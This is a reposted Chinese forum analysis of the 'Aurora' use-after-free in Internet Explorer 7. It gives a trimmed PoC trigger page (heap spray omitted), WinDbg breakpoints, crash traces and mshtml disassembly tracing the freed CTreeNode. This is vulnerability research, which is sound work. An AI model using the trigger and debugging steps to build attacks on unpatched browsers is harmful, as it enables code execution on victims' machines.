| 关键词: nbsp text EVENTPARAM mshtml 582 CTreeNode eax 00000000 mov 对象 |
详情:http://bbs.xfocusx.com/thread-7873-1-1.html by:轩辕小聪 本篇参考以下文章: [1]http://www.geoffchappell.com/viewer.htm?doc=notes/security/aurora/index.htm [2]http://securitylabs.websense.com/content/Blogs/3530.aspx [3]http://www.securityfocus.com/archive/1/508961 其中,[1]对此漏洞进行了极其详细的解说(就差告诉你怎么调试了),我就是看了它才了解细节上是怎么一回事,[2]则简要地进行了解说,而[3]则直接说出了调试的提示。 因此,我这里只是看了以上参考文章之后,依葫芦画瓢调试了一下,把关于调试和理解的部分整理了一下,观点并不是我自己首先得出来的。 调试环境:XP sp3 简体中文版系统,IE7(IE6更容易跳进shellcode,IE7跳进shellcode概率似乎不大,不过这里主要是为了 讨论漏洞怎么来的,IE7虽跳不进shellcode,但是也会因为访问无效地址而抛出异常,照样可以断下,所以并不影响下面讨论)。 先观察PoC网页,这里的引用把heap spray等略掉了,完整的在附件: 引用: ...... function ev1(evt) { event_obj = document.createEventObject(evt); document.getElementById("sp1").innerHTML = ""; window.setInterval(ev2, 1); } function ev2() { ...... event_obj.srcElement; } ...... <body> <span id="sp1"> <img src="aurora.webp" onload="ev1(event)"> </span> </body> 简单地理解,Body中有个span对象,span对象中包含一个img对象,img对象的onload响应例程中,调用 createEventObject创建了相应event对象的一个副本,然后将span对象的innerHtml清空,这样导致img对象的释放。在此 之后,创建一个定时器,在超时例程中访问新event对象的srcElement属性,应该是在这时候触发了漏洞。 winbg载入IE7(PoC文件名为命令行参数),IE7出现网页脚本或ActiveX对象被阻止提示,确认允许运行,等许久后抛出异常断下 引用: (300.1ec): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=001ec7b0 ebx=44003000 ecx=44003000 edx=00206418 esi=02b609d8 edi=ffffffff eip=3e5b1e60 esp=019df818 ebp=019df838 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206 mshtml!CElement::Doc: 3e5b1e60 8b01 mov eax,dword ptr [ecx] ds:0023:44003000=???????? Missing image name, possible paged-out or corrupt data. Missing image name, possible paged-out or corrupt data. 0:005> kb ChildEBP RetAddr Args to Child 019df814 3e582b2b 001f8af8 01e23920 3e80f27c mshtml!CElement::Doc 019df838 3e67f828 01e23928 000003e9 019df870 mshtml!CEventObj::GenericGetElement+0x99 019df848 3e66d9c5 001ec768 01e23928 00988690 mshtml!CEventObj::get_srcElement+0x15 019df870 3e5b88a8 001ec768 00988690 001f8af8 mshtml!GS_IDispatchp+0x38 019df908 3e5b8dd9 001ec768 000003e9 3e66d989 mshtml!CBase::ContextInvokeEx+0x4ef 019df934 75be29d7 001ec768 000003e9 00000409 mshtml!CBase::InvokeEx+0x25 019df96c 75be2947 00986940 001caa30 000003e9 jscript!IDispatchExInvokeEx2+0xac 019df9a4 75be31e5 00986940 001caa30 000003e9 jscript!IDispatchExInvokeEx+0x56 019dfa14 75be1c0a 00986940 001caa30 000003e9 jscript!InvokeDispatchEx+0x78 019dfa5c 75be2fc3 00986940 019dfaac 00000002 jscript!VAR::InvokeByName+0xba 019dfb10 75be1123 019dfb54 00000000 009860b0 jscript!CScriptRuntime::Run+0xa7a 019dfb28 75be0f8a 019dfb54 00000000 00000000 jscript!ScrFncObj::Call+0x8d 019dfb98 75be2642 009860b0 019dfdb0 00000000 jscript!CSession::Execute+0xa7 019dfc88 75be24fe 00000000 00000001 019dfda0 jscript!NameTbl::InvokeDef+0x179 019dfd08 75be2e10 009860b0 00000000 00000000 jscript!NameTbl::InvokeEx+0xcb 019dfd38 3e5a76df 009860b0 00000000 3e5b1414 jscript!NameTbl::Invoke+0x55 019dfdcc 3e5a763d 00204ee8 001c8060 00002000 mshtml!CWindow::ExecuteTimeoutScript+0x85 019dfe14 3e5a7611 001c97b8 001c97f1 019dfe48 mshtml!CWindow::FireTimeOut+0x91 019dfe24 3e5a77b5 00002000 019dfeb0 3e5b1551 mshtml!GWMouseProc+0x152 019dfe48 77d18734 0013020a 000000d6 00002000 mshtml!GlobalWndProc+0x181 从栈回溯信息看,这的确是在定时器例程中使用event_obj.srcElement时出现的异常。 触发异常的点很容易找,但是找到为什么却不容易。 关键是要了解CEventObj::get_srcElement怎么实现的,为什么这么实现,这是我看了[1]之后才了解的。简单地说,为在event 中能够访问相应的Element,CEventObj并不是直接就在其类中保存一个CElement结构的指针,而是绕了几绕:CImgElement对 象创建后,又创建了相应的CTreeNode对象,由CTreeNode对象的属性中保存CImgElement类指针。然后将CTreeNode对象的 地址,保存在这个img的事件对象CEventObj类的一个EVENTPARAM结构中。 对此,参考文献[3]直接给出了调试的提示: 引用: If you're interested in researching the vulnerability (using this PoC), breakpoint MSHTML!CImgElement::CImgElement, then run until MSHTML!CTreeNode::CTreeNode is hit -- this tree node is freed during MSHTML!CImgHelper::Fire_onerror, but is later accessed during MSHTML!CEventObj::get_srcElement. 重新载入,在系统断点时输入命令bu mshtml!CImgElement::CImgElement,g运行,停在断点处一次,这时再次 g运行,IE7出现网页脚本或ActiveX对象被阻止提示,确认允许运行,等许久让它Heap spray,之后又断在 CImgElement::CImgElement 引用: Breakpoint 0 hit eax=002033d0 ebx=001ae3bc ecx=002033d0 edx=00000034 esi=001ae308 edi=0022ffe8 eip=3e553f4e esp=019dfb9c ebp=019dfba8 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 mshtml!CImgElement::CImgElement: 3e553f4e 8bff mov edi,edi 这时得到将创建的CImgElement对象指针,ecx=ecx=002033d0 bu CTreeNode::CTreeNode,运行断下 引用: 0:005> bu mshtml!CTreeNode::CTreeNode 0:005> g Breakpoint 1 hit eax=02b60880 ebx=00000000 ecx=02b60880 edx=00150608 esi=001db518 edi=00000055 eip=3e586fe7 esp=019dfb7c ebp=019dfb90 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 mshtml!CTreeNode::CTreeNode: 3e586fe7 8bff mov edi,edi 0:005> kb ChildEBP RetAddr Args to Child 019dfb78 3e53ffc3 00203380 002033d0 00000000 mshtml!CTreeNode::CTreeNode 019dfb90 3e551f3d 019dfbe0 002033d0 00203380 mshtml!CHtmRootParseCtx::BeginElement+0x37 019dfbb8 3e53ff25 019dfbe0 002033d0 00203380 mshtml!CHtmTextParseCtx::BeginElement+0x71 019dfbe4 3e54012b 00000000 00000001 00000000 mshtml!CHtmParse::BeginElement+0x8c 019dfc08 3e53eb07 00000000 0022ffe8 00000000 mshtml!CHtmParse::ParseBeginTag+0x112 019dfc20 3e53fad6 00000034 00fa84cc 001de4a8 mshtml!CHtmParse::ParseToken+0x76 019dfcc8 3e53b620 00fa84cc 001c7fb0 001de4a8 mshtml!CHtmPost::ProcessTokens+0x1a4 019dfd84 3e53bd97 00fa84cc 001c7fb0 001de4a8 mshtml!CHtmPost::Exec+0x15d 019dfd9c 3e53bd18 00fa84cc 001c7fb0 001de4a8 mshtml!CHtmPost::Run+0x13 019dfdb4 3e53c38f 001c7fb0 00fa84cc 001de4a8 mshtml!PostManExecute+0xdc 019dfdd4 3e53c2fc 001de4a8 00000001 019dfdf4 mshtml!PostManResume+0x9e 019dfde4 3e59f3ff 001fa800 001de4a8 019dfe28 mshtml!CHtmPost::OnDwnChanCallback+0x10 019dfdf4 3e5b79e2 001fa800 00000000 00000000 mshtml!CDwnChan::OnMethodCall+0x19 019dfe28 3e5b1602 019dfeb0 3e5b1551 00000000 mshtml!GlobalWndOnMethodCall+0x101 019dfe48 77d18734 000e021c 000000d4 00000000 mshtml!GlobalWndProc+0x181 019dfe74 77d18816 3e5b1551 000e021c 00008002 USER32!InternalCallWinProc+0x28 019dfedc 77d189cd 00000000 3e5b1551 000e021c USER32!UserCallWinProcCheckWow+0x150 019dff3c 77d18a10 019dff64 00000000 019dffb4 USER32!DispatchMessageWorker+0x306 019dff4c 3ed3e70b 019dff64 0013e490 0013e5b8 USER32!DispatchMessageW+0xf 019dffb4 7c80b699 001ab490 0013e490 0013e5b8 IEFRAME!CTabWindow::_TabWindowThreadProc+0x189 可以看到它是由CHtmRootParseCtx::BeginElement调用的,ecx=02b60880为CTreeNode类指 针,该函数第二个参数002033d0正是刚刚创建的CImgElement类指针,函数调用CTreeNode::SetElement将该 CImgElement类与CTreeNode关联: 引用: .text:3E586FEC push esi .text:3E586FED push [ebp+pCElementObject] .text:3E586FF0 mov esi, ecx .text:3E586FF2 or word ptr [esi+0Ah], 0FFFFh .text:3E586FF7 or word ptr [esi+0Ch], 0FFFFh .text:3E586FFC or word ptr [esi+0Eh], 0FFFFh .text:3E587001 mov dword ptr [esi+10h], 1 .text:3E587008 call CTreeNode::SetElement(CElement *) 引用: .text:3E586F69 .text:3E586F69 public: void __thiscall CTreeNode::SetElement(class CElement *) proc near .text:3E586F69 ; CODE XREF: CTreeNode::CTreeNode(CTreeNode *,CElement *)+21p .text:3E586F69 .text:3E586F69 pCElementObject = dword ptr 8 .text:3E586F69 .text:3E586F69 mov edi, edi .text:3E586F6B push ebp .text:3E586F6C mov ebp, esp .text:3E586F6E mov eax, [ebp+pCElementObject] .text:3E586F71 test eax, eax .text:3E586F73 mov [ecx], eax .text:3E586F75 jz short loc_3E586F7D .text:3E586F75 .text:3E586F77 mov al, [eax+14h] .text:3E586F7A mov [ecx+8], al .text:3E586F7A .text:3E586F7D .text:3E586F7D loc_3E586F7D: ; CODE XREF: CTreeNode::SetElement(CElement *)+Cj .text:3E586F7D pop ebp .text:3E586F7E retn 4 .text:3E586F7E .text:3E586F7E public: void __thiscall CTreeNode::SetElement(class CElement *) endp .text:3E586F7E 步过以上部分,在此之后,网页代码使用createEventObject创建了event的副本,很囧的是,这个新的CEventObj 类,当然copy了原来对象的EVENTPARAM结构,但是根据[1]的解释,在EVENTPARAM结构内容被copy的时候,并没有增加 CTreeNode的访问计数! CEvent::Create中调用EVENTPARAM::EVENTPARAM复制EVENTPARAM结构,但后者的代码中的确没有包括操作其中 CTreeNode(在后面的CEventObj::get_srcElement函数分析中可以看出,CTreeNode类指针在EVENTPARAM 结构的头部)增加访问计数的内容。 引用: .text:3E6B4BC9 .text:3E6B4BC9 loc_3E6B4BC9: ; CODE XREF: CEventObj::Create(IHTMLEventObj * *,CDoc *,CElement *,CMarkup *,int,ushort *,EVENTPARAM *,int)+84j .text:3E6B4BC9 push 0D8h ; dwBytes .text:3E6B4BCE call _MemAlloc(x) .text:3E6B4BCE .text:3E6B4BD3 test eax, eax .text:3E6B4BD5 jz short loc_3E6B4BE3 .text:3E6B4BD5 .text:3E6B4BD7 push [ebp+arg_18] .text:3E6B4BDA mov ecx, eax .text:3E6B4BDC call EVENTPARAM::EVENTPARAM(EVENTPARAM const *) .text:3E6B4BDC .text:3E6B4BE1 jmp short loc_3E6B4BE5 .text:3E6B4BE1 .text:3E582A41 .text:3E582A41 public: __thiscall EVENTPARAM::EVENTPARAM(struct EVENTPARAM const *) proc near .text:3E582A41 ; CODE XREF: CElement::get_nodeType(long *)-164050p .text:3E582A41 ; .text:3E5BFDC3p .text:3E582A41 ; .text:3E5C2363p .text:3E582A41 ; CElement::FireStdEvent_KeyHelper(CTreeNode *,CMessage *,int *,EVENTINFO *)+7Ap .text:3E582A41 ; CElement::get_nodeType(long *)-7B645p .text:3E582A41 ; CElement::get_nodeType(long *)+5FEBp ... .text:3E582A41 .text:3E582A41 pEventParam = dword ptr 8 .text:3E582A41 .text:3E582A41 mov edi, edi .text:3E582A43 push ebp .text:3E582A44 mov ebp, esp .text:3E582A46 push ebx .text:3E582A47 mov ebx, ecx .text:3E582A49 push esi .text:3E582A4A mov esi, [ebp+pEventParam] .text:3E582A4D push edi .text:3E582A4E xor eax, eax .text:3E582A50 lea edi, [ebx+48h] .text:3E582A53 stosd .text:3E582A54 stosd .text:3E582A55 stosd .text:3E582A56 stosd .text:3E582A57 xor edx, edx .text:3E582A59 mov [ebx+0C4h], edx .text:3E582A5F mov [ebx+0C8h], edx .text:3E582A65 mov [ebx+0CCh], edx .text:3E582A6B mov [ebx+0D0h], edx .text:3E582A71 push 36h .text:3E582A73 pop ecx .text:3E582A74 mov edi, ebx .text:3E582A76 rep movsd ; 直接copy了内容 .text:3E582A78 mov eax, [ebx+64h] .text:3E582A7B and dword ptr [ebx+0A8h], 0FFFFFBFFh .text:3E582A85 add dword ptr [eax+8], 8 .text:3E582A89 mov eax, [ebx+68h] .text:3E582A8C cmp eax, edx .text:3E582A8E jz short loc_3E582A94 .text:3E582A8E .text:3E582A90 add dword ptr [eax+8], 8 .text:3E582A90 .text:3E582A94 .text:3E582A94 loc_3E582A94: ; CODE XREF: EVENTPARAM::EVENTPARAM(EVENTPARAM const *)+4Dj .text:3E582A94 mov eax, [ebx+6Ch] .text:3E582A97 cmp eax, edx .text:3E582A99 jnz loc_3E6A4170 .text:3E582A99 .text:3E582A9F .text:3E582A9F loc_3E582A9F: ; CODE XREF: CElement::get_nodeType(long *)+13875j .text:3E582A9F mov eax, [ebx+84h] .text:3E582AA5 cmp eax, edx .text:3E582AA7 jnz loc_3E6A4179 .text:3E582AA7 .text:3E582AAD jmp loc_3E6A4181 .text:3E582AAD .text:3E582AAD public: __thiscall EVENTPARAM::EVENTPARAM(struct EVENTPARAM const *) endp .text:3E582AAD .text:3E582AB2 .text:3E582AB2 loc_3E582AB2: ; CODE XREF: CElement::get_nodeType(long *)+138EEj .text:3E582AB2 pop edi .text:3E582AB3 pop esi .text:3E582AB4 mov eax, ebx .text:3E582AB6 pop ebx .text:3E582AB7 pop ebp .text:3E582AB8 retn 4 .text:3E6A4170 .text:3E6A4170 loc_3E6A4170: ; CODE XREF: EVENTPARAM::EVENTPARAM(EVENTPARAM const *)+58j .text:3E6A4170 add dword ptr [eax+8], 8 .text:3E6A4174 jmp loc_3E582A9F .text:3E6A4174 .text:3E6A4179 ; --------------------------------------------------------------------------- .text:3E6A4179 .text:3E6A4179 loc_3E6A4179: ; CODE XREF: EVENTPARAM::EVENTPARAM(EVENTPARAM const *)+66j .text:3E6A4179 mov ecx, [eax] .text:3E6A417B push eax .text:3E6A417C call dword ptr [ecx+4] .text:3E6A417F xor edx, edx .text:3E6A417F .text:3E6A4181 .text:3E6A4181 loc_3E6A4181: ; CODE XREF: EVENTPARAM::EVENTPARAM(EVENTPARAM const *)+6Cj .text:3E6A4181 mov eax, [ebp+lpMem] .text:3E6A4184 add eax, 0C4h .text:3E6A4189 lea ecx, [ebx+0C4h] .text:3E6A418F push eax .text:3E6A4190 mov [ecx], edx .text:3E6A4192 call CStr::Set(CStr const &) .text:3E6A4192 .text:3E6A4197 mov esi, [ebp+lpMem] .text:3E6A419A lea eax, [esi+0C8h] .text:3E6A41A0 lea ecx, [ebx+0C8h] .text:3E6A41A6 xor edi, edi .text:3E6A41A8 push eax .text:3E6A41A9 mov [ecx], edi .text:3E6A41AB call CStr::Set(CStr const &) .text:3E6A41AB .text:3E6A41B0 lea eax, [esi+0CCh] .text:3E6A41B6 lea ecx, [ebx+0CCh] .text:3E6A41BC push eax .text:3E6A41BD mov [ecx], edi .text:3E6A41BF call CStr::Set(CStr const &) .text:3E6A41BF .text:3E6A41C4 lea eax, [esi+0D0h] .text:3E6A41CA lea ecx, [ebx+0D0h] .text:3E6A41D0 push eax .text:3E6A41D1 mov [ecx], edi .text:3E6A41D3 call CStr::Set(CStr const &) .text:3E6A41D3 .text:3E6A41D8 lea ecx, [ebx+48h] .text:3E6A41DB xor eax, eax .text:3E6A41DD mov edi, ecx .text:3E6A41DF stosd .text:3E6A41E0 stosd .text:3E6A41E1 add esi, 48h .text:3E6A41E4 stosd .text:3E6A41E5 push esi ; pvargSrc .text:3E6A41E6 push ecx ; pvargDest .text:3E6A41E7 stosd .text:3E6A41E8 call VariantCopy(x,x) .text:3E6A41E8 .text:3E6A41ED jmp loc_3E582AB2 .text:3E6A41ED |
|
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|